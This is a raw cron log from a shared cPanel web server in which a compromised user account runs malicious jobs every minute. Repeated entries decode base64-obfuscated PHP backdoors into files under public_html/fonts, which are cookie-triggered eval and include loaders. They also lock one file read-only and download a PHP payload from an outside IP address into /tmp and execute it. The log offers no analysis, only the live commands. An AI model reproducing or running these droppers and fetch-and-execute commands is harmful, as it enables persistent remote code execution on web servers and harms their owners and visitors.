Sep  7 11:02:01 ip-184-168-122-23 CROND[13880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:02:01 ip-184-168-122-23 CROND[13881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:02:01 ip-184-168-122-23 CROND[13883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:02:01 ip-184-168-122-23 CROND[13882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:03:01 ip-184-168-122-23 CROND[13987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:03:02 ip-184-168-122-23 CROND[13990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:03:02 ip-184-168-122-23 CROND[13991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:03:02 ip-184-168-122-23 CROND[13989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:04:01 ip-184-168-122-23 CROND[14123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:04:01 ip-184-168-122-23 CROND[14125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:04:01 ip-184-168-122-23 CROND[14127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:04:01 ip-184-168-122-23 CROND[14126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:04:01 ip-184-168-122-23 CROND[14128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:05:01 ip-184-168-122-23 CROND[14255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:05:01 ip-184-168-122-23 CROND[14257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:05:01 ip-184-168-122-23 CROND[14259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:05:01 ip-184-168-122-23 CROND[14262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:05:01 ip-184-168-122-23 CROND[14263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 11:05:01 ip-184-168-122-23 CROND[14264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:05:01 ip-184-168-122-23 CROND[14261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:06:01 ip-184-168-122-23 CROND[14453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:06:01 ip-184-168-122-23 CROND[14455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:06:01 ip-184-168-122-23 CROND[14457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:06:01 ip-184-168-122-23 CROND[14454]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:06:01 ip-184-168-122-23 CROND[14456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:07:01 ip-184-168-122-23 CROND[14579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:07:02 ip-184-168-122-23 CROND[14580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:07:02 ip-184-168-122-23 CROND[14583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:07:02 ip-184-168-122-23 CROND[14581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:08:01 ip-184-168-122-23 CROND[14685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:08:02 ip-184-168-122-23 CROND[14686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:08:02 ip-184-168-122-23 CROND[14688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:08:02 ip-184-168-122-23 CROND[14689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:08:02 ip-184-168-122-23 CROND[14687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:09:01 ip-184-168-122-23 CROND[14819]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 11:09:01 ip-184-168-122-23 CROND[14821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:09:01 ip-184-168-122-23 CROND[14822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:09:01 ip-184-168-122-23 CROND[14823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:09:01 ip-184-168-122-23 CROND[14824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:10:01 ip-184-168-122-23 CROND[14964]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:10:01 ip-184-168-122-23 CROND[14967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:10:01 ip-184-168-122-23 CROND[14969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:10:01 ip-184-168-122-23 CROND[14966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:10:01 ip-184-168-122-23 CROND[14968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:10:01 ip-184-168-122-23 CROND[14970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:10:01 ip-184-168-122-23 CROND[14972]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:10:01 ip-184-168-122-23 CROND[14973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:11:01 ip-184-168-122-23 CROND[15154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:11:01 ip-184-168-122-23 CROND[15156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:11:01 ip-184-168-122-23 CROND[15157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:11:01 ip-184-168-122-23 CROND[15158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:12:01 ip-184-168-122-23 CROND[15249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:12:01 ip-184-168-122-23 CROND[15251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:12:01 ip-184-168-122-23 CROND[15252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:12:01 ip-184-168-122-23 CROND[15250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:12:01 ip-184-168-122-23 CROND[15253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:13:01 ip-184-168-122-23 CROND[15362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:13:01 ip-184-168-122-23 CROND[15367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:13:01 ip-184-168-122-23 CROND[15365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:13:01 ip-184-168-122-23 CROND[15364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:14:01 ip-184-168-122-23 CROND[15444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:14:01 ip-184-168-122-23 CROND[15442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:14:01 ip-184-168-122-23 CROND[15441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
